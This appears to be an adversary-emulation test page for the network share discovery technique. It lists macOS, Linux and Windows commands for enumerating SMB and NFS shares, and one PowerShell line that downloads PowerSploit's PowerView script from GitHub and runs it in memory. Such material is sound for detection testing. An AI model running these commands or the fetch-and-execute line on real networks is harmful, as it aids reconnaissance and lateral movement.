Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the
net view \remotesystem
command. It can also be used to query shared drives on the local system usingnet share
.
Network Share Discovery
Supported Platforms: macOS, Linux
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | computer1 |
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution avalaible network shares will be displayed in the powershell session
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | localhost |
net view \\#{computer_name}
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, avalaible network shares will be displayed in the powershell session
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | localhost |
net view \\#{computer_name}
get-smbshare -Name #{computer_name}
View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session
Supported Platforms: Windows
net share
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
Supported Platforms: Windows
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1'); Find-DomainShare -CheckShareAccess -Verbose